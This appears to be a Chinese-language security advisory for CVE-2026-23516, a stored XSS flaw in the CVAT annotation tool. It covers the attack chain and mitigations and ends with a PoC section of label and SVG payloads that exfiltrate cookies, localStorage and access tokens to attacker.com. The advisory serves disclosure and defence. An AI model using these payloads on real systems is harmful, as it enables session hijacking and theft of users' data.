IPBUF安全漏洞报告
English
CVE-2026-23516 CVSS 5.4 中危

CVAT 2.2.0-2.54.0 存储型XSS漏洞导致会话劫持

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23516
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CVAT (Computer Vision Annotation Tool)

相关标签

存储型XSSCVATCVE-2026-23516会话劫持JavaScript注入SVG注入计算机视觉数据标注工具权限绕过

漏洞概述

CVAT是一款开源的交互式视频和图像标注工具,广泛应用于计算机视觉领域的数据标注工作。该工具在2.2.0至2.54.0版本中存在严重的存储型跨站脚本(XSS)漏洞。攻击者通过在CVAT任务或项目中精心构造恶意标签,或上传包含恶意代码的SVG图像文件,可以在受害用户的浏览器会话中执行任意JavaScript代码。由于CVAT通常部署在企业内部网络且承载大量敏感的训练数据集和标注成果,攻击成功后将导致攻击者获取受害用户的所有访问权限,包括查看、下载、修改项目数据等操作。此漏洞的利用门槛相对较低,只需攻击者拥有创建标签的低级权限即可发起攻击,但需要一定的用户交互(如编辑标签或查看特定形状)才能触发。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击向量主要包括三个入口点:

1. **恶意标签注入**:攻击者在创建或编辑CVAT任务/项目的标签时,嵌入恶意JavaScript代码。由于系统未对标签名称进行充分的输入过滤和输出编码,当其他用户编辑该标签或查看引用该标签的标注形状时,恶意代码会在其浏览器上下文中执行。

2. **SVG图像注入**:CVAT支持骨架标注功能,允许用户上传SVG格式的图像来配置骨架模板。攻击者可以利用SVG文件的特殊结构(如<script>标签、事件处理器onload/onerror等)嵌入JavaScript代码。当受害用户上传或预览该SVG文件时,恶意代码被执行。

3. **利用后果**:攻击者成功执行JavaScript后,可以窃取用户会话Cookie、读取页面DOM内容、模拟用户操作、向外部服务器传输敏感数据,甚至在特定条件下进一步横向移动获取更多权限。

漏洞根源在于CVAT前端对用户输入的HTML/SVG内容缺乏严格的sanitization(消毒)处理,以及后端API未对输出内容进行充分的安全编码。

攻击链分析

STEP 1
侦察阶段
攻击者注册CVAT账号并登录平台,了解项目结构和标签创建流程
STEP 2
恶意载荷构造
攻击者精心构造包含JavaScript代码的恶意标签名称或SVG文件,选择合适的XSS Payload
STEP 3
载荷注入
攻击者在CVAT任务或项目中创建恶意标签,或上传包含恶意代码的SVG骨架图像,载荷被持久化存储在服务器数据库中
STEP 4
诱导受害者
攻击者通过社会工程学手段(如分享项目链接、添加受害者到项目等)诱导目标用户访问包含恶意载荷的页面
STEP 5
触发执行
受害用户编辑恶意标签、查看引用该标签的标注形状,或上传恶意SVG文件时,浏览器解析并执行嵌入的JavaScript代码
STEP 6
会话劫持
恶意脚本窃取受害用户的Cookie、Token、页面内容等敏感信息,并将其发送到攻击者控制的外部服务器
STEP 7
权限滥用
攻击者利用窃取的凭证访问CVAT资源,查看、下载或篡改敏感的训练数据和标注成果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23516 存储型XSS PoC // 攻击场景1:恶意标签名称 // 在创建标签时使用以下Payload: const maliciousLabel = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // 攻击场景2:恶意SVG文件 const maliciousSVG = ` <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.cookie)</script> <rect width="100" height="100" fill="red"/> </svg>`; // 攻击场景3:利用事件处理器 const eventBasedPayload = ` <svg xmlns="http://www.w3.org/2000/svg"> <body onload="fetch('https://attacker.com/exfil?data='+btoa(JSON.stringify(localStorage)))"> <rect width="100" height="100" fill="blue"/> </body> </svg>`; // 攻击场景4:利用JavaScript URI const jsUriPayload = `<a href="javascript:fetch('https://attacker.com/steal?token='+localStorage.getItem('access_token'))">Click me</a>`; // 攻击场景5:数据外传示例 const exfiltrationScript = ` <script> // 获取CSRF Token const csrfToken = document.querySelector('[name=csrfmiddlewaretoken]')?.value; // 收集敏感信息 const sensitiveData = { cookies: document.cookie, localStorage: {...localStorage}, sessionStorage: {...sessionStorage}, csrfToken: csrfToken }; // 外发数据 fetch('https://attacker.com/api/collect', { method: 'POST', body: JSON.stringify(sensitiveData), headers: {'Content-Type': 'application/json'} }); </script>`;

影响范围

CVAT 2.2.0 至 2.54.0

防御指南

临时缓解措施
在官方发布修复版本之前,建议采取以下临时缓解措施:1) 限制用户创建标签的权限,仅允许受信任的管理员操作;2) 对SVG文件上传实施严格的文件类型验证和内容扫描;3) 在前端页面渲染时对所有用户输入内容进行HTML转义处理;4) 启用HTTPOnly和Secure标志保护Cookie;5) 配置Web应用防火墙(WAF)规则检测和拦截恶意JavaScript代码;6) 监控CVAT平台的异常用户活动和API调用日志;7) 对团队成员进行安全意识培训,警惕可疑的项目邀请和文件分享。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表